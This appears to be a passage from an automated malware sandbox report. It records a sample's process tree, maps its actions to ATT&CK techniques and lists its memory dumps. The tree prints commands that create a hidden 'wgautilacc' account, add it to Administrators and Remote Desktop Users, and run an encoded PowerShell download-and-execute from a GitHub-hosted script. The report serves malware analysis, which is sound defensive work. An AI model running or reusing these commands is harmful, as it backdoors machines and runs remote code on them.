- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:3332

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:3372

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3988

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc MwNwqaTg
1⤵
PID:1936
- C:\Windows\system32\net.exe
  net.exe user wgautilacc MwNwqaTg
  2⤵
  PID:2160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc MwNwqaTg
    3⤵
    PID:1464

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:360
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:708

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1188
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:952

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1036
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1248

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:3308
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:3004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/596-114-0x00000000021E0000-0x0000000002271000-memory.dmp

Filesize
580KB

Download
memory/596-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/928-216-0x00000187E6086000-0x00000187E6088000-memory.dmp

Filesize
8KB

Download
memory/928-218-0x00000187E6088000-0x00000187E608A000-memory.dmp

Filesize
8KB

Download
memory/928-215-0x00000187E6083000-0x00000187E6085000-memory.dmp

Filesize
8KB

Download
memory/928-214-0x00000187E6080000-0x00000187E6082000-memory.dmp

Filesize
8KB

Download
memory/1248-255-0x000001C6E5B60000-0x000001C6E5B62000-memory.dmp

Filesize
8KB

Download
memory/1248-257-0x000001C6E5B66000-0x000001C6E5B68000-memory.dmp

Filesize
8KB

Download
memory/1248-258-0x000001C6E5B68000-0x000001C6E5B69000-memory.dmp

Filesize
4KB

Download
memory/1248-256-0x000001C6E5B63000-0x000001C6E5B65000-memory.dmp

Filesize
8KB

Download
memory/1596-221-0x000001F954796000-0x000001F954798000-memory.dmp

Filesize
8KB

Download
memory/1596-222-0x000001F954798000-0x000001F95479A000-memory.dmp

Filesize
8KB

Download
memory/1596-219-0x000001F954790000-0x000001F954792000-memory.dmp

Filesize
8KB

Download
memory/1596-220-0x000001F954793000-0x000001F954795000-memory.dmp

Filesize
8KB

Download
memory/2164-131-0x000002F6F4985000-0x000002F6F4986000-memory.dmp

Filesize
4KB

Download
memory/2164-132-0x000002F6F4986000-0x000002F6F4987000-memory.dmp

Filesize
4KB

Download
memory/2164-129-0x000002F6F4980000-0x000002F6F4982000-memory.dmp

Filesize
8KB

Download
memory/2164-126-0x000002F6F56A0000-0x000002F6F5AC1000-memory.dmp

Filesize
4.1MB

Download
memory/2164-130-0x000002F6F4983000-0x000002F6F4985000-memory.dmp

Filesize
8KB

Download
memory/3384-185-0x000002C865226000-0x000002C865228000-memory.dmp

Filesize
8KB

Download
memory/3384-213-0x000002C865228000-0x000002C86522A000-memory.dmp

Filesize
8KB

Download
memory/3384-182-0x000002C865223000-0x000002C865225000-memory.dmp

Filesize
8KB

Download
memory/3384-181-0x000002C865220000-0x000002C865222000-memory.dmp

Filesize
8KB

Download
memory/3520-158-0x0000027174B30000-0x0000027174B31000-memory.dmp

Filesize
4KB

Download
memory/3520-143-0x0000027174D00000-0x0000027174D01000-memory.dmp

Filesize
4KB

Download
memory/3520-150-0x0000027174B46000-0x0000027174B48000-memory.dmp

Filesize
8KB

Download
memory/3520-142-0x0000027174B43000-0x0000027174B45000-memory.dmp

Filesize
8KB

Download
memory/3520-140-0x0000027174B40000-0x0000027174B42000-memory.dmp

Filesize
8KB

Download
memory/3520-138-0x0000027174B50000-0x0000027174B51000-memory.dmp

Filesize
4KB

Download
memory/3520-165-0x0000027175770000-0x0000027175771000-memory.dmp

Filesize
4KB

Download
memory/3520-164-0x00000271753E0000-0x00000271753E1000-memory.dmp

Filesize
4KB

Download
memory/3520-223-0x0000027174B48000-0x0000027174B49000-memory.dmp

Filesize
4KB

Download